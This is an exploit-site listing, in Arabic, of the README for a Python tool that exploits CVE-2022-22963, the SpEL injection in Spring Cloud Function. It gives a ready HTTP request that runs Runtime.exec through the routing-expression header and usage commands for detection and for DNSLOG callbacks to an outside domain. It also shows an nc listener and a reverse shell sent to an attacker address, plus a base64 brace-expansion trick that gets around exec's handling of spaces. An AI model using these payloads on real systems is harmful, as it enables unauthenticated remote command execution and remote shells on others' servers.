Sploitus

Exploit for CVE-2022-22963

kitploit · 2026-08-28

Exploit Code

MARKDOWN177 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XMQAQ-CVE-2022-22963
# CVE-2022-22963

![Python](https://img.shields.io/badge/python-3.6+-blue) ![License](https://img.shields.io/badge/license-MIT-blue.svg)

أداة كشف واستغلال ثغرة الحقن التعبيري SpEL في Spring Cloud Function لتنفيذ الأوامر عن بُعد.

## نظرة عامة على الثغرة

**CVE-2022-22963** هي ثغرة عالية الخطورة (CVSS 9.8) في وظيفة التوجيه (routing) في Spring Cloud Function. عند تمكين نقطة النهاية `/functionRouter`، يتم تنفيذ قيمة رأس الطلب `spring.cloud.function.routing-expression` مباشرةً كتعبير SpEL (Spring Expression Language)، مما يسمح للمهاجم دون مصادقة بتنفيذ أوامر عشوائية على الخادم الهدف.

**الإصدارات المتأثرة:**

الفرع| الإصدارات المتأثرة| الإصدار المُصحّح  
---|---|---  
3.1.x| < 3.1.7| 3.1.7  
3.2.x| < 3.2.3| 3.2.3  
  
**مبدأ الثغرة:**

root@kitploit:~
    
    
    POST /functionRouter HTTP/1.1
    Host: target.example.com
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
    Content-Type: application/x-www-form-urlencoded
    
    test
    

بعد تنفيذ SpEL، ترجع `exec()` كائن `Process`، وعند محاولة Spring تسلسله يتم إلقاء استثناء، فيستجيب الخادم بـ HTTP 500. يتم تنفيذ الأمر في الخلفية بشكل غير متزامن، **لا يتم إرجاع النتيجة في استجابة HTTP** ، بل يجب تأكيدها عبر قنوات جانبية مثل DNSLOG أو Shell عكسي.

## الوظائف

  * **كشف الثغرة** : تحفيز استجابة مميزة عبر SpEL لتحديد ما إذا كان الهدف عرضة للثغرة.
  * **التحقق عبر DNSLOG** : إرسال طلب `ping` إلى نطاق DNSLOG، وتأكيد تنفيذ الأمر عبر سجلات DNS.
  * **Shell عكسي** : استخدام ترميز base64 لتجاوز قيود المسافات، وإرسال Shell تفاعلي إلى عنوان محدد.



## التثبيت

root@kitploit:~
    
    
    pip install requests
    

Python 3.6+ بدون تبعيات إضافية.

## طريقة الاستخدام

root@kitploit:~
    
    
    python3 CVE-2022-22963.py -u <目标URL> [خيارات]
    

### شرح الوسائط

### كشف الثغرة

root@kitploit:~
    
    
    python3 CVE-2022-22963.py -u http://target.example.com -c
    

root@kitploit:~
    
    
    2024-01-01 12:00:00 - INFO - [+] http://target.example.com يوجد ثغرة!
    

### التحقق عبر DNSLOG

يُستخدم لتأكيد تنفيذ الأمر الفعلي في حالة عدم وجود استجابة مباشرة:

root@kitploit:~
    
    
    python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
    

root@kitploit:~
    
    
    2024-01-01 12:00:01 - INFO - [+] تم إرسال الحمولة، يُرجى التحقق من abc123.dnslog.cn لاستلام طلب DNS (لتأكيد التنفيذ الفعلي)
    

ثم يتم مراجعة منصة DNSLOG لمعرفة ما إذا تم استلام استعلام DNS من عنوان IP الهدف.

### Shell عكسي

على جهاز المهاجم، افتح مستمعًا:

root@kitploit:~
    
    
    nc -lvnp 9999
    

أرسل الحمولة:

root@kitploit:~
    
    
    python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
    

root@kitploit:~
    
    
    2024-01-01 12:00:02 - INFO - [+] تم إرسال الحمولة، انتظر الاتصال على 192.168.1.100:9999 (يدعم فقط Linux/bash)
    

> **ملاحظة** : يعتمد الـ Shell العكسي على وجود دعم `/dev/tcp` في النظام الهدف، وهو مناسب فقط لبيئات Linux + bash، ولا يدعم أهداف Windows أو شل sh/ash/dash.

## التفاصيل الفنية

### مبدأ الكشف

يرسل طلب الكشف تعبير SpEL حقيقيًا إلى `/functionRouter`:

root@kitploit:~
    
    
    T(java.lang.Runtime).getRuntime().exec('id')
    

  * **في حالة وجود الثغرة** : يتم تنفيذ SpEL، ولا يمكن تسلسل كائن `Process` → `HTTP 500` \+ `"path":"/functionRouter"`
  * **في حالة عدم وجود الثغرة** : يتم تجاهل الرأس، ويفشل التوجيه → رمز الحالة أو المحتوى لا يتطابق مع الخصائص المذكورة



### آلية ترميز الـ Shell العكسي

`Runtime.exec(String)` لا يمر عبر تفسير shell، بل يقوم بتقسيم سلسلة الأوامر حسب المسافات، ولا يمكنه التعامل مع الأنابيب وإعادة التوجيه. تتجاوز الأداة ذلك من خلال:

  1. ترميز أمر الـ Shell العكسي بـ base64 لإزالة الأحرف الخاصة
  2. استخدام توسيع الأقواس في bash `{cmd,arg}` بدلاً من المسافات
  3. في النهاية، يتم معالجة الأنابيب وإعادة التوجيه عبر وسيط `-c` في bash الهدف



root@kitploit:~
    
    
    bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
              ↕ Java exec تقوم بتقسيم حسب المسافات
    ["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
              ↕ bash -c يقوم بتوسيع الأقواس للمعامل
    echo BASE64 | base64 -d | bash -i
    

## سجل التحديثات

التاريخ| الإصدار| الشرح  
---|---|---  
2023-12-28| v1.0| الإصدار الأولي  
2025-10-09| v1.1| إعادة هيكلة الكود، تحسين معالجة الوسائط ومعالجة الأخطاء  
2026-06-29| v1.2| إصلاح الإنذارات الكاذبة في الكشف، ربط مسار context، مشكلة دلالة قيمة الإرجاع في الاستغلال  
  
## إخلاء المسؤولية

هذه الأداة مخصصة فقط لأغراض **البحث الأمني، واختبار الاختراق المصرح به، والتعليم**.

باستخدام هذه الأداة، فإنك توافق على:

  1. استخدامها فقط على الأنظمة التي حصلت على إذن كتابي صريح
  2. الامتثال لجميع القوانين واللوائح المعمول بها في منطقتك
  3. تحمل المسؤولية الكاملة عن جميع العواقب الناتجة عن استخدام هذه الأداة



لا يتحمل المؤلف أي مسؤولية عن أي استخدام غير مصرح به أو عواقبه.